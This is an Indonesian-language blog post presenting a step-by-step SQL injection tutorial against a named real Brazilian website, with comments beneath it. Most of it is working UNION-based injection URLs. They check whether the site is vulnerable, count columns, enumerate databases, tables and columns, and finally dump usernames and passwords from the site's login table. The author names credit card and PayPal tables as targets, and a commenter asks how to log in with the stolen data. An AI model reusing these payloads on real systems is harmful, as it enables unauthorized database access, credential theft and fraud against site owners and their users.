Kamis, 02 Desember 2010

Tutorial SQL Injection

situs yang interaktif dengan pengunjung yang banyak terdapat "database" didalamnya
ada "INFORMATION_SCHEMA" yang menangani table "INFORMATION_SCHEMA.TABLES" yang namanya "table_name"
dan yang manangani column "INFORMATION_SCHEMA.COLUMNS" yang namanya "column_name"

cara injection ada 2 macam yaitu :

1. melalui form input
2. melalui url
yang kita bahas disini adalah cara inject melalui url saja!

Command yang sering di gunakan :
1. ORDER BY = untuk mengetahui jumlah column
2. UNION SELECT = untuk mengambil informasi dari table atau column
3. AND = untuk membandingkan 2 kondisi true atau false
4. OR = untuk menentukan 1 kondisi saja
5. -- = untuk menutup perintah
6. + = untuk spasi
7. ' = karakter evil
8. HAVING = untuk menampilkan error
9. DATABASE() = untuk mengetahui nama database
10. USER() = untuk mengetahui nama user database
11. DATADIR() = untuk mengetahui posisi letak database
12. CONCAT = untuk menggabungkan 2 column atau lebih
13. GROUP_CONCAT = untuk menampilkan group dari gabungan column
14. CONCAT_WS = sama seperti concat
15. FROM = mengambil data dari
16. UPDATE = mengubah data yang telah ada
17. @@servername = menampilan nama server
18. @@language = menampilkan bahasa ysng di gunanakan website
19. @@pid = menampilkan nomor proses
20. load_file(nama_file_yg_telah_di_ubah_ke_hexa_SQL) = untuk menmpilkan isi file

Skema attack
"Camera roll......."
"Action......."


‎1. Cek Vuln apa gak
 http://www.designemdia.com.br/opiniao/read.php?id=1' 

atau

http://www.designemdia.com.br/opiniao/read.php?id=-1

kalau error atau tampilannya jadi blank berarti vuln
Injection = On


2. Cari angka ajaibnya (batasan kolom nya)

http://www.designemdia.com.br/opiniao/read.php?id=1+order+by+1--



http://www.designemdia.com.br/opiniao/read.php?id=1+order+by+2--


http://www.designemdia.com.br/opiniao/read.php?id=1+order+by+3--

http://www.designemdia.com.br/opiniao/read.php?id=1+order+by+4--

trussin sampe ketemu error
kalau dah ketemu error berarti batas angka ajaibnya sampai di angka order by "N" sebelum error

3. Misal angka error oder by "N" nya di "9 " berarti angka ajaibnya jadi kek gini

http://www.designemdia.com.br/opiniao/read.php?id=-1+union+select+1%2C2%2C3%2C4%2C5%2C6%2C7%2C8--

Keluar deh tuh angka ajaibnya yg di jadiin patokan buat di... tusbol wakakakkakkk

4. Selanjutnya cek versi MYSQL nya melalui angka ajaib yg keluar td

karna angka ajaibnya angka "5" kita ganti dengan "version()" tuk mengecek versi MYSQL nya ^_^

http://www.designemdia.com.br/opiniao/read.php?id=-1+union+select+1%2C2%2C3%...2C4%2Cversion%28%29%2C6%2C7%2C8--


5. cari nama database nya

http://www.designemdia.com.br/opiniao/read.php?id=-1+union+select+1%2C2%2C3%2C4%2Cdatabase%28%29%2C6%2C7%2C8--

6. Cari nama table nya

http://www.designemdia.com.br/opiniao/read.php?id=-1+union+select+1%2C2%2C3%2C4%2Ctable_name%2C6%2C7%2C8+from+information_schema.tables+where+table_schema%3Ddatabase%28%29--

Kalo kek di atas kan terbatas jadi cuman sat...u tabel yg klihatan ^_^
kita bisa tambahkan "group_concat"

http://www.designemdia.com.br/opiniao/read.php?id=-1+union+select+1%2C2%2C3%2C4%2Cgroup_concat%28table_name%29%2C6%2C7%2C8+from+information_schema.tables+where+table_schema%3Ddatabase%28%29--

atau bisa juga pake cara yg lain tp lama

http://www.designemdia.com.br/opiniao/read.php?id=-1+union+select+1%2C2%2C3%2C4%2Ctable_name%2C6%2C7%2C8+from+information_schema.tables+where+table_schema%3Ddatabase() limi 0,1--

http://www.designemdia.com.br/opiniao/read.php?id=-1+union+select+1%2C2%2C3%2C4%2Ctable_name%2C6%2C7%2C8+from+information_schema.tables+where+table_schema%3Ddatabase() limi 1,1--

http://www.designemdia.com.br/opiniao/read.php?id=-1+union+select+1%2C2%2C3%2C4%2Ctable_name%2C6%2C7%2C8+from+information_schema.tables+where+table_schema%3Ddatabase() limi 2,1--                  <= dan seterusnya

sampai semu nama-nama tablenya muncul dan jgn lupa catat tuh nama-nama tabel nya ^_^


7. Nah ini nih step yg paling di tunggu-tunggu

pilih salah satu table yg mau di tampiling ckckckckckckckkk Oops
maksudnya yg mau di tampilkan nama-nama kolom nya ^_^
misal : tbl_cc_deatils <= buat cc
...user <= buat pp
atau login <= buat login adminnya ^_^

Ok di sini saya pilih "login"



http://www.designemdia.com.br/opiniao/read.php?id=-1+union+select+1%2C2%2C3%2C4%2Cgroup_concat%28column_name%29%2C6%2C7%2C8+from+information_schema.columns+where+table_name%3D%27login%27--

Oops kok error yah ???
harus di convert dolo ke hexa ^_^
jadi nanti URL nya kek gini ^_^

http://www.designemdia.com.br/opiniao/read.php?id=-1+union+select+1%2C2%2C3%2C4%2Cgroup_concat%28column_name%29%2C6%2C7%2C8+from+information_schema.columns+where+table_name%3D0x6c6f67696e--


8. skarang tampilkan record dari kolom login tadi ^_^

http://www.designemdia.com.br/opiniao/read.php?id=-1+union+select+1%2C2%2C3%2C4%2Cconcat_ws%280x3a%2Clogin%2Cnome%2Csenha%2Cnivel%29%2C6%2C7%2C8+from+login

selanjutnya terserah anda

2 komentar:

  1. trus klo udah gtu cara login ny gmn tuh mas bro ??
    mhon bantuan nya,, newbie kk... :D

    BalasHapus
  2. Anonim : kalo tuk tuts itu loginnya udah ga bisa karna udah di patch om :) hahahaha
    sory coz this is just for education

    Bendol-X : sama² maha guru :)

    BalasHapus